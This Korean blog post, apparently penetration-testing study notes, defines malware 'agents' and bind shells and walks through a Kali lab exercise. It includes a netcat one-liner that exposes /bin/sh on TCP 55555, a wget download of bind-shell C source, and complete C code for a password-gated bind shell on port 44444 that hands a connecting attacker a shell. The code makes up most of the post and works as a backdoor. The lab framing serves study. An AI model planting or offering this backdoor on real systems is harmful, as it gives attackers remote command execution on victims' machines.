TH3 6R3@T H@CK
AGENT 본문
AGENT
· 사용자의 개입 없이 주기적으로 정보를 모으거나 또는 일부 다른 서비스를 수행하는 소프트웨어 프로그램
· 제어 서버와 통신을 통해 사전 정의된 행위를 수행하고 데이터 수집 후 전송
AGENT = Malware
· 공격 대상 시스템에 설치되어 실행
· 탐지되지 않고
· 공격자의 C&C(Command & Control) 서버와 지속적으로 통신하며
· 공격자의 명령을 받아 실행하고
· 결과를 전송
구현해야 될 AGENT 기능
· 바인드 쉘(Bind Shell)
- TCP 포트에서 Attacker의 연결 대기
- Victim의 앞 단에 방화벽(Firewall)이 없거나, Victim이 공인(Public) IP를 사용하는 경우에 적합
- 공격 탐지 가능성 높음: TCP Port Listening
· 공격자 접속 시 연결 수락 → 명령어 입력을 위한 Shell 실행(제공)
- 공격자는 원격에서 명령 실행 및 결과 확인 가능
※ Bind Connection: Victim에서 포트를 열고 Attacker가 Victim으로 접속하는 연결 방식
AGENT 개발 및 실행 환경
· 피해자: Kali Linux (에이전트 실행)
· 공격자: Kali Linux (에이전트 연결 및 개발)
AGENT 실습
AGENT 개발
· 기능(Bind Shell): TCP 11111번 포트로 공격자 접속 대기
· wget으로 C 소스코드 다운받아 gcc로 컴파일
https://raw.githubusercontent.com/geyslan/SLAE/master/1st.assignment/shell_bind_t cp.c
· 기능 테스트: 좌(Victim) / 우(Attacker)
· netcat을 이용하여 TCP 55555 포트에서 입력 대기하는 Bind Shell → nc -lvp 55555 -e /bin/sh
- Victim 포트 오픈
· shell_bind_tcp.c 코드를 수정하여 TCP 44444 포트에서 입력 대기하는 Bind shell
· 단, 비밀번호(********) 인증 후 Shell 실행
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main()
{
int resultfd, sockfd;
int port = 44444;
struct sockaddr_in my_addr;
// syscall 102
// int socketcall(int call, unsigned long *args);
// sycall socketcall (sys_socket 1)
sockfd = socket(AF_INET, SOCK_STREAM, 0);
// syscall socketcall (sys_setsockopt 14)
int one = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
// set struct values
my_addr.sin_family = AF_INET; // 2
my_addr.sin_port = htons(port); // port number
my_addr.sin_addr.s_addr = INADDR_ANY; // 0 fill with the local IP
// syscall socketcall (sys_bind 2)
bind(sockfd, (struct sockaddr *) &my_addr, sizeof(my_addr));
// syscall socketcall (sys_listen 4)
listen(sockfd, 0);
// syscall socketcall (sys_accept 5)
resultfd = accept(sockfd, NULL, NULL);
char buf[8];
int ret = 0;
write(resultfd, "Enter Password: ", 16);
read(resultfd, &buf, 8);
ret = strncmp("*******", buf, 8);
if(ret == 0)
{ // syscall 63
dup2(resultfd, 2);
dup2(resultfd, 1);
dup2(resultfd, 0);
execve("/bin/sh", NULL, NULL);
}
return 0;
}
'Study > Penetration Test' 카테고리의 다른 글
Reconnaissance: Key Logger (0) | 2024.05.01 |
---|---|
Attacking Web Pages (0) | 2024.04.17 |
Deployment and Expansion (0) | 2024.04.03 |
MSFconsole (0) | 2024.03.22 |
Reverse Shell (0) | 2024.03.20 |